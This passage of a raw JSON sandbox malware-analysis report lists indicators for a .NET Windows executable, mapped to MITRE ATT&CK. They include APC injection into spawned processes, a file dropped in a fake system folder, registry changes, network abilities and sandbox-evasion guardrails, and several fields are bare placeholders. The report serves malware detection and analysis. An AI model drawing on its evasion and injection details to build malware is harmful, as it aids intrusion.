00000000-00003772.00000001.133404.04B30000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains reference to messaging system library (API string)","description":"Found string \"mapi32.dll\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found string \"C:\\Windows\\System32\\mapi32.dll\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1137","relevance":1,"id":"string-571","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\a8e83276d80e5deb5e45080c8142f7c203b96267\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Global\\CLR_PerfMon_WrapMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"a8e83276d80e5deb5e45080c8142f7c203b96267\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"RasPbFile\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"DeleteValue\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"CreateSubKey\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenBaseKey\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetSubKeyNames\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Dotnet source code contains suspicious native API","description":"Observed API \"LoadLibrary\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed API \"GetProcAddress\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"$34","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"//./root/cimv2\" [Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$35","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 61E60000\n \"mobsync.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 633C0000\n \"smss.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 61E60000\n \"explorer.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 63B70000\n \"mobsync.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 61E60000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74860000\n \"mobsync.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74860000\n \"mobsync.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74420000\n \"smss.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74860000\n \"smss.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74420000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74860000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74420000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 63E90000\n \"8B744166EECACE320158F4D0F704B13E.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64640000\n \"mobsync.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64020000\n \"mobsync.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 647D0000\n \"smss.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 647D0000\n \"smss.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64020000\n \"explorer.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 684D0000\n \"explorer.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68C80000\n \"mobsync.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68C80000\n \"mobsync.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 684D0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76980000\n \"mobsync.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76980000\n \"smss.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76980000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76980000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"0d000e002203446b@ADVAPI32.dll\"\n \"0d000e00fe02446b@ADVAPI32.dll\"\n \"0b000c00cc02446b@ADVAPI32.dll\"\n \"10001100da02446b@ADVAPI32.dll\"\n \"15001600c02ea66b@ADVAPI32.dll\"\n \"0e000f00702fa66b@ADVAPI32.dll\"\n \"0e000f00cc2fa66b@ADVAPI32.dll\"\n \"11001200b437a66b@ADVAPI32.dll\"\n \"110012004838a66b@ADVAPI32.dll\"\n \"120013008c38a66b@ADVAPI32.dll\"\n \"12001300e438a66b@ADVAPI32.dll\"\n \"14001500385ea66b@ADVAPI32.dll\"\n \"14001500505ea66b@ADVAPI32.dll\"\n \"14001500685ea66b@ADVAPI32.dll\"\n \"17001800805ea66b@ADVAPI32.dll\"\n \"0d000e00985ea66b@ADVAPI32.dll\"\n \"11001200a85ea66b@ADVAPI32.dll\"\n \"11001200bc5ea66b@ADVAPI32.dll\"\n \"0f001000fc5fa66b@ADVAPI32.dll\"\n \"140015003c60a66b@ADVAPI32.dll\"\n \"140015005460a66b@ADVAPI32.dll\"\n \"0c000d009c60a66b@ADVAPI32.dll\"\n \"0c000d00ac60a66b@ADVAPI32.dll\"\n \"0e000f00bc60a66b@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" was detected as \".NET\" and name: \"Library\"\n \"8B744166EECACE320158F4D0F704B13E.exe\" was detected as \"VB.NET\" and name: \"Compiler\"\n \"8B744166EECACE320158F4D0F704B13E.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$37","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$38","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x2a6a00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x2a69e4\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"explorer.exe, \"%WINDIR%\\System32\\ntdll\\mobsync.exe\"\" [Source: 00000000-00003772-00000BC1-1099006976]\n Observed system executable string:\"\"%WINDIR%\\System32\\ntdll\\mobsync.exe\"\" [Source: 00000000-00003772-00000BC1-1099007432]\n Observed system executable string:\"explorer.exe, \"%WINDIR%\\System32\\ntdll\\mobsync.exe\", \"%WINDIR%\\py\\explorer.exe\"\" [Source: 00000000-00003772-00000BC1-1099387166]\n Observed system executable string:\"\"%WINDIR%\\py\\explorer.exe\"\" [Source: 00000000-00003772-00000BC1-1099387744]\n Observed system executable string:\"explorer.exe, \"%WINDIR%\\System32\\ntdll\\mobsync.exe\", \"%WINDIR%\\py\\explorer.exe\", \"%ALLUSERSPROFILE%\\Package Cache\\{410c0ee1-00bb-\" [Source: 00000000-00003772-00000BC1-1100182066], Observed system executable string:\"%WINDIR%\\System32\\ntdll\\mobsync.exe\" [Source: 00000000-00003772-00000C3A-15502607800], Observed system executable string:\"%WINDIR%\\py\\explorer.exe\" [Source: 00000000-00003772-00000C3A-18254351134]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"smss.exe\" (UID: 00000000-00005812) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"smss.exe\" (UID: 00000000-00005812) was launched with modified environment variables: \"PSModulePath, PATHEXT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"mobsync.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"mobsync.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"mobsync.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"References JavaScript(s)","description":"file/memory contains long string with (Indicator: \"text/javascript\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1059.007","relevance":1,"id":"string-626","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"mobsync.exe\" (UID: 00000000-00004000)\n Spawned process \"smss.exe\" (UID: 00000000-00005812)\n Spawned process \"explorer.exe\" (UID: 00000000-00003900)\n Spawned process \"mobsync.exe\" (UID: 00000000-00001400)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"mobsync.exe\" (UID: 00000000-00004000)\n Spawned process \"smss.exe\" (UID: 00000000-00005812)\n Spawned process \"explorer.exe\" (UID: 00000000-00003900)\n Spawned process \"mobsync.exe\" (UID: 00000000-00001400)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" connecting to \"\\ThemeApiPort\"\n \"mobsync.exe\" connecting to \"\\ThemeApiPort\"\n \"smss.exe\" connecting to \"\\ThemeApiPort\"\n \"explorer.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"mobsync.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3a","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" queries basic process information of the \"C:\\Windows\\System32\\sspicli.dll\" (UID: 3772)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"mobsync.exe\" called \"NtQueueApcThread\" (UID: 00000000-00004000)\n \"smss.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005812)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"Win32Registry|HKEY_CURRENT_USER\\Environment\"; Source: \"00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.008F0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Tries to sleep for a long time (more than two minutes)\n Matched sigs: Possibly tries to evade analysis by sleeping many times\n Matched sigs: YARA signature match - References common sandbox DLLs (sandbox evasion)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" writes file \"c:\\windows\\system32\\ntdll\\mobsync.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003772)\n \"mobsync.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00004000)\n \"smss.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005812)\n \"explorer.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003900)\n \"mobsync.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001400)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$42","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate via sockets (Dotnet)","description":"Observed Namespace \"System.Net.Sockets.TcpClient\" and MemberReference \".ctor\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed Namespace \"System.Net.Sockets.TcpClient\" and MemberReference \"get_Client\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"Send\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \".ctor\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"SendTo\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1095","relevance":1,"id":"static-159","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004000-00000C29-1109893047\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00004000-00000C29-1110440492\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00004000-00000C29-1110440984\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"$43","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed namespace \"System.Net.Sockets\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed namespace \"System.Net.NetworkInformation\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00001400.00000001.139922.05A80000.00000004.mdmp]\n Observed email domain:\"dpmodemx.dll\" [Source: 